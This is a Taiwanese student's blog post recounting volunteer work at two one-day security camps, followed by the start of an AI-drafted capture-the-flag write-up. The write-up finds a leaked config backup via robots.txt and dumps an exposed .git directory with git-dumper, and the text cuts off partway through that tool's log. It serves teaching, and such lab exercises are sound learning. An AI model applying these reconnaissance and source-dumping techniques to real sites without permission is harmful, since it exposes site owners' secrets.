前言#

由於最近一直投入在社群＋資安上，所以在 Yuan 的邀約下，我成功成為了一日資安體驗營的助教…? （簡單來說就是免費打工人）
由於我未滿 18 歲和還不是大學生，沒辦法領到助教費，所以就只能當免費勞工就是了(( 元元邀請由於我主要活動在北部和中部，所以我只有報名北中兩地的助教，分別在 7/27 和 8/1 日。
接下來就快樂看心得吧

一日資安體驗營台北場 7/27#

台北場

在前一天的時候，我突然收到來自 Frank 的私訊： Frank 反正我得幫他代班買飲料買午餐，多了一個工作而已:)

當天到了北科大，我就跟著我以前的記憶走向教室，路上我遇到了 Yoru！我有認出他！大佬啊啊🛐
然後到了教室我還一度被認為是學員（ fearnot 沒記住我，但 Ya 記住了），反正之後我就坐下來開始用自己的東西，處理午餐訂購啊，還有其他阿里不達的東西。（吐槽一下，為什麼 Badge 又是 SITCON 年會的 Badge 啊？）

反正飲料到了我就下去拿，我雖然感冒，但我還是抵不住得正的誘惑🫪雖然我感冒不太舒服，但飲料好喝就好👍

午餐我吃咕咕雞，還不錯吃，而且只要100元，超級便宜欸！而且一個便當剛剛好，是可以飽的。下午的課程是 OSGA 上，講資安 CTF，啊我是 THJCC 總召也是得破台的吧:3
雖然破台了但是是第六名，有點難過:( 然後破完後我就開始去幫其他學員（現在才做助教的工作www）） https://ctf.ga24.me 打 CTF 中喔對了，補充下，今天我有看到 Denny（此 Denny 非 Denny）、可樂、貳參舞當學員（還有一堆不認識的大佬們），但我後面才知道烤鴨也有來啊啊！

反正下午的課程一下就結束了！拿完感謝狀結束後我和貳參舞一起離開去西門町，在捷運站還有看到烤鴨就跟他打了個招呼，結果他還記得我，還蠻開心的（？

一日資安體驗營台中場 8/1#

台中場這天是禮拜六，我早早就前往台中高工，到了以後我自己找不到教室QwQ 是一個路人告訴我我才知道要到哪裡去。
到了教室後我想著應該也會有一些人不知道教室在哪裡，於是我就快樂的下去一樓去看看有沒有學員，幫忙指引他們上樓抵達教室。
上午一樣是 OSGA 的課，然後他還是一樣講 CTF 題目，由於前幾天我都做過了，於是我註冊了一個帳號 Claude，然後從頭打一次，藏 Flag，然後破台www 排行榜 OSGA 一直問那個人是誰，~~不過我不敢承認~~，反正破完台後我一樣就開始我助教的任務，幫助其他人解這個 CTF。
教學中上半堂上完後就吃午餐，午餐吃完換了一個講師，這個講師上課很厚，全部都是概念知識型，我自己聽了也有一點點點點點點點想睡覺w 反正一樣也是持續幫助其他學員一起完成 workshop 就是了。

助教心得#

其實好像也沒啥心得，就是有吃有喝的，還可以幫忙有潛力的學生跳坑資安圈，激發他們對資安的興趣，還有工人證明可以拿。
要不是我還沒滿 18 歲還不是大學生，我就可以領薪水了www
據說講師好像有更多摳摳的樣子，好像是兩倍…? 反正期待明年也可以來繼續當助教www

ctf.ga24.me writeup#

前言：#

由於台中場有很多學員想了解要怎麼寫，我就讓 AI 自己生了一個筆記出來，等我部落格寫完後再放上我自己寫的 writeup。那現在把 AI 筆記全刪掉吧!

WP完成度： (8/8)

Web / Info Leak#

Curious Crawler (100)#

題目#

Acme Corp 剛上線他們的新官網，看起來平平無奇……不過爬蟲有時候會發現一些人類沒注意到的東西。

網站：https://web01.ctf.ga24.me

解題心得#

這題的題目有提到「爬蟲」會注意到的東西，第一個會想到robots.txt，於是打開這個連結( https://web01.ctf.ga24.me/robots.txt )後，會發現這個：

1
User-agent: *
2
Disallow: /admin_hidden_x8k/
3
Disallow: /internal-notes/

這裡有看到一個 admin_hidden_x8k 的路徑，我們點進來( https://web01.ctf.ga24.me/admin_hidden_x8k )後就會看到他有一個 config.php.bak 的檔案，打開後( https://web01.ctf.ga24.me/admin_hidden_x8k/config.php.bak )就會找到 API_TOKEN (Flag)：


13 collapsed lines
1
<?php
2
// -----------------------------------------------------------------------------
3
// Acme Corp â€” è³‡æ–™åº«é€£ç·šè¨å®š (å‚™ä»½è‡ª 2026-05-18)
4
// TODO: éƒ¨ç½²å‰åˆªé™¤æ¤å‚™ä»½æª”ï¼ -- @roy
5
// -----------------------------------------------------------------------------
6

7
$DB_HOST = "db.internal.acme.example";
8
$DB_PORT = 3306;
9
$DB_NAME = "acme_prod";
10
$DB_USER = "acme_app";
11
$DB_PASS = "hunter2-butactually-longer-2026";
12

13
// å…§éƒ¨ API tokenï¼ˆå‹¿å¤–æµï¼‰
14
$API_TOKEN = "FLAG{r0b0ts_txt_1s_n0t_s3cur1ty}";
6 collapsed lines
15

16
// éƒµä»¶ä¼ºæœå™¨
17
$SMTP_HOST = "smtp.acme.example";
18
$SMTP_USER = "noreply@acme.example";
19
$SMTP_PASS = "temp-please-rotate";
20
?>

Flag#

1
FLAG{r0b0ts_txt_1s_n0t_s3cur1ty}

Version Control (250)#

題目#

ShopMini 團隊上線了他們的新網站！開發時他們用了 git 管理原始碼。聽說有位新來的工程師曾經不小心把敏感檔案 commit 進去，後來雖然刪掉了……但事情有這麼簡單嗎？

網站：https://web02.ctf.ga24.me

解題心得#

這題提到了 git，簡單來說他是一個用來控制代碼版本的備份紀錄，讓每一筆操作都可以非常清晰了留下 log！
那通常紀錄會存在根目錄的 .git 中，於是我們使用 git-dumper 來下載整個專案資料夾。

arthaud

git-dumper

Waiting for api.github.com...

00K

Waiting...

1
➜  ~ git-dumper https://web02.ctf.ga24.me/ ./web02
267 collapsed lines
2
[-] Testing https://web02.ctf.ga24.me/.git/HEAD [200]
3
[-] Testing https://web02.ctf.ga24.me/.git/ [403]
4
[-] Fetching common files
5
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
6
  warnings.warn(
7
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
8
  warnings.warn(
9
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
10
  warnings.warn(
11
[-] Fetching https://web02.ctf.ga24.me/.gitignore [200]
12
[-] Fetching https://web02.ctf.ga24.me/.git/description [200]
13
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
14
  warnings.warn(
15
[-] Fetching https://web02.ctf.ga24.me/.git/COMMIT_EDITMSG [200]
16
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
17
  warnings.warn(
18
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
19
  warnings.warn(
20
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
21
  warnings.warn(
22
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
23
  warnings.warn(
24
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
25
  warnings.warn(
26
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
27
  warnings.warn(
28
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
29
  warnings.warn(
30
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
31
  warnings.warn(
32
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/pre-push.sample [200]
33
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/pre-rebase.sample [200]
34
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/applypatch-msg.sample [200]
35
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/pre-receive.sample [200]
36
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/post-commit.sample [404]
37
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/pre-applypatch.sample [200]
38
[-] https://web02.ctf.ga24.me/.git/hooks/post-commit.sample responded with status code 404
39
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/post-update.sample [200]
40
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/post-receive.sample [404]
41
[-] https://web02.ctf.ga24.me/.git/hooks/post-receive.sample responded with status code 404
42
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/commit-msg.sample [200]
43
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
44
  warnings.warn(
45
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
46
  warnings.warn(
47
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
48
  warnings.warn(
49
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
50
  warnings.warn(
51
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
52
  warnings.warn(
53
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
54
  warnings.warn(
55
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/update.sample [200]
56
[-] Fetching https://web02.ctf.ga24.me/.git/objects/info/packs [404]
57
[-] Fetching https://web02.ctf.ga24.me/.git/info/exclude [200]
58
[-] https://web02.ctf.ga24.me/.git/objects/info/packs responded with status code 404
59
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/prepare-commit-msg.sample [200]
60
[-] Fetching https://web02.ctf.ga24.me/.git/index [200]
61
[-] Fetching https://web02.ctf.ga24.me/.git/hooks/pre-commit.sample [200]
62
[-] Finding refs/
63
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
64
  warnings.warn(
65
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
66
  warnings.warn(
67
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
68
  warnings.warn(
69
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
70
  warnings.warn(
71
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
72
  warnings.warn(
73
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
74
  warnings.warn(
75
[-] Fetching https://web02.ctf.ga24.me/.git/FETCH_HEAD [404]
76
[-] https://web02.ctf.ga24.me/.git/FETCH_HEAD responded with status code 404
77
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
78
  warnings.warn(
79
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/heads/main [200]
80
[-] Fetching https://web02.ctf.ga24.me/.git/info/refs [404]
81
[-] Fetching https://web02.ctf.ga24.me/.git/config [200]
82
[-] https://web02.ctf.ga24.me/.git/info/refs responded with status code 404
83
[-] Fetching https://web02.ctf.ga24.me/.git/ORIG_HEAD [404]
84
[-] https://web02.ctf.ga24.me/.git/ORIG_HEAD responded with status code 404
85
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
86
  warnings.warn(
87
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
88
  warnings.warn(
89
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
90
  warnings.warn(
91
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
92
  warnings.warn(
93
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/heads/development [404]
94
[-] https://web02.ctf.ga24.me/.git/logs/refs/heads/development responded with status code 404
95
[-] Fetching https://web02.ctf.ga24.me/.git/logs/HEAD [200]
96
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
97
  warnings.warn(
98
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
99
  warnings.warn(
100
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
101
  warnings.warn(
102
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
103
  warnings.warn(
104
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
105
  warnings.warn(
106
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/HEAD [404]
107
[-] https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/HEAD responded with status code 404
108
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/main [404]
109
[-] https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/main responded with status code 404
110
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
111
  warnings.warn(
112
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
113
  warnings.warn(
114
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/production [404]
115
[-] https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/production responded with status code 404
116
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/master [404]
117
[-] https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/master responded with status code 404
118
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/staging [404]
119
[-] https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/staging responded with status code 404
120
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
121
  warnings.warn(
122
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
123
  warnings.warn(
124
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
125
  warnings.warn(
126
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/development [404]
127
[-] https://web02.ctf.ga24.me/.git/logs/refs/remotes/origin/development responded with status code 404
128
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/heads/production [404]
129
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/heads/master [404]
130
[-] https://web02.ctf.ga24.me/.git/logs/refs/heads/production responded with status code 404
131
[-] https://web02.ctf.ga24.me/.git/logs/refs/heads/master responded with status code 404
132
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/heads/staging [404]
133
[-] https://web02.ctf.ga24.me/.git/logs/refs/heads/staging responded with status code 404
134
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
135
  warnings.warn(
136
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
137
  warnings.warn(
138
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
139
  warnings.warn(
140
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
141
  warnings.warn(
142
[-] Fetching https://web02.ctf.ga24.me/.git/refs/heads/master [404]
143
[-] https://web02.ctf.ga24.me/.git/refs/heads/master responded with status code 404
144
[-] Fetching https://web02.ctf.ga24.me/.git/refs/heads/staging [404]
145
[-] Fetching https://web02.ctf.ga24.me/.git/logs/refs/stash [404]
146
[-] https://web02.ctf.ga24.me/.git/logs/refs/stash responded with status code 404
147
[-] https://web02.ctf.ga24.me/.git/refs/heads/staging responded with status code 404
148
[-] Fetching https://web02.ctf.ga24.me/.git/packed-refs [404]
149
[-] https://web02.ctf.ga24.me/.git/packed-refs responded with status code 404
150
[-] Fetching https://web02.ctf.ga24.me/.git/refs/heads/main [200]
151
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
152
  warnings.warn(
153
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
154
  warnings.warn(
155
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
156
  warnings.warn(
157
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
158
  warnings.warn(
159
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
160
  warnings.warn(
161
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
162
  warnings.warn(
163
[-] Fetching https://web02.ctf.ga24.me/.git/refs/remotes/origin/HEAD [404]
164
[-] https://web02.ctf.ga24.me/.git/refs/remotes/origin/HEAD responded with status code 404
165
[-] Fetching https://web02.ctf.ga24.me/.git/refs/remotes/origin/main [404]
166
[-] https://web02.ctf.ga24.me/.git/refs/remotes/origin/main responded with status code 404
167
[-] Fetching https://web02.ctf.ga24.me/.git/refs/heads/production [404]
168
[-] https://web02.ctf.ga24.me/.git/refs/heads/production responded with status code 404
169
[-] Fetching https://web02.ctf.ga24.me/.git/refs/heads/development [404]
170
[-] https://web02.ctf.ga24.me/.git/refs/heads/development responded with status code 404
171
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
172
  warnings.warn(
173
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
174
  warnings.warn(
175
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
176
  warnings.warn(
177
/Library/Frameworks/Python.framework/Versions/3.13/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'web02.ctf.ga24.me'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
178
  warnings.warn(
179
[-] Fetching https://web02.ctf.ga24.me/.git/refs/remotes/origin/development [404]
180
[-] Fetching https://web02.ctf.ga24.me/.git/refs/remotes/origin/production [404]
181
[-] Fetching https://web02.ctf.ga24.me/.git/refs/remotes/origin/staging [404]
182
[-] https://web02.ctf.ga24.me/.git/refs/remotes/origin/development responded with status code 404
183
[-] https://web02.ctf.ga24.me/.git/refs/remotes/origin/staging responded with status code 404
184
[-] https://web02.ctf.ga24.me/.git/refs/remotes/origin/production responded with status code 404
185
[-] Fetching https://web02.ctf.ga24.me/.git/refs/stash [404]
186
[-] https://web02.ctf.ga24.me/.git/refs/stash responded with status code 404
187
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/staging [404]
188
[-] Fetching https://web02.ctf.ga24.me/.git/refs/remotes/origin/master [404]
189
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/main [404]
190
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/master [404]
191
[-] https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/staging responded with status code 404
192
[-] https://web02.ctf.ga24.me/.git/refs/remotes/origin/master responded with status code 404
193
[-] https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/main responded with status code 404
194
[-] https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/master responded with status code 404
195
[-] Fetching https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/production [404]
196
[-] https://web02.ctf.ga24.me/.git/refs/wip/wtree/refs/heads/production responded with status code 404
197
[-] Fetching https://web02.ctf.ga24.me/.git/HEAD [200]
198
